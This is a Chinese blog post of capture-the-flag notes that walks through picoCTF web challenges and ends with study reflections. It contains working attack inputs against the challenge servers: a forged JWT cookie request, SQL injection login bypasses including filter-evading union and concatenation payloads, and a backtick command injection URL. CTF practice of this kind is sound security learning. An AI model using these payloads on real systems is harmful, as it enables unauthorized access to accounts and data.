JavaInterview JavaInterview
首页
指南
分类
标签
归档
  • CSDN (opens new window)
  • 文档集合 (opens new window)
  • 系统架构 (opens new window)
  • 微信号 (opens new window)
  • 公众号 (opens new window)

『Java面试+Java学习』
首页
指南
分类
标签
归档
  • CSDN (opens new window)
  • 文档集合 (opens new window)
  • 系统架构 (opens new window)
  • 微信号 (opens new window)
  • 公众号 (opens new window)
  • 指南
  • 简历

  • Java

  • 面试

  • 算法

  • skill
  • tool
JavaInterview.cn
2022-10-04
目录

picoCTF平台学习及使用Java

文章发布较早,内容可能过时,阅读注意甄别。

# 地址

https://play.picoctf.org/practice

# 试题举例

列题举例:

一、JaWT Scratchpad

curl "https://jupiter.challenges.picoctf.org/problem/63090/"  -H "Content-Type: application/x-www-form-urlencoded"  --data "user=admin" -H "Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJpYXQiOjE1NzA5Njg2NDB9.77pnOGlEdwL7MtxHHS6ZKYD5z1O8w_-SFnzPGyNo9t8" -s | grep pico

二、Irish-Name-Repo 1

curl "https://jupiter.challenges.picoctf.org/problem/33850/login.php" --data "username=admin'--&password=1" && echo

三、caas

https://caas.mars.picoctf.net/cowsay/%60cat%20falg.txt%60

四、picobrowser

curl --user-agent "picobrowser" "https://jupiter.challenges.picoctf.org/problem/26704/flag"

五、Client-side-again

查看源代码拼装结果

六、dont-use-client-side

根据规则拼装

七、web-gauntlet

Round 1
Filter: or
Username: admin' --
Password: 123
Actual Query: SELECT * FROM users WHERE username='admin' -- AND password='123'

Round 2
Filter: or and = like --
Username: admin' union select * from users where '1
Password: 123
Actual Query: SELECT * FROM users WHERE username='admin' union select * from users where '1' AND password='123'

Round 3
Filter: or and = like > < --
Username: admin';
Password: 123
Actual Query: SELECT * FROM users WHERE username='admin';' AND password='123'

Round 4
Filter: or and = like > < -- admin
Username: ad'||'min';
Password: 123
Actual Query: SELECT * FROM users WHERE username='ad'||'min';' AND password='123'

Round 5
Filter: or and = like > < -- union admin
Username: ad'||'min';
Password: 123
Actual Query: SELECT * FROM users WHERE username='ad'||'min';' AND password='123'
Flag
All rounds have been passed, the page of round 6 says "Congrats! You won! Check out filter.php". Refresh filter.php again it shows the source code of filter.php and flag is at the end of the page.

# 总结

从picoctf平台中的思考

  1. 查看源代码的方法
  2. 根据规则拼装的方法
  3. Curl命令请求的方法
  4. Sql注入的方法
  5. 谷歌百度的方法
  6. 平时学英语的方法
  7. GitHub的方法
  8. 年代及Tag的方法
  9. 主次优先的方法
  10. 懂得取舍的方法
  11. 循序渐进的方法
  12. 模拟环境的方法

对达克效应(高估自己现象)的理解

  1. 轻装上阵
  2. 空杯心态
  3. 大道至简
  4. 知行合一
微信 支付宝
最近更新
01
1686. 石子游戏VI Java
08-18
02
1688. 比赛中的配对次数 Java
08-18
03
1687. 从仓库到码头运输箱子 Java
08-18
更多文章>
Theme by Vdoing | Copyright © 2019-2025 JavaInterview.cn
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式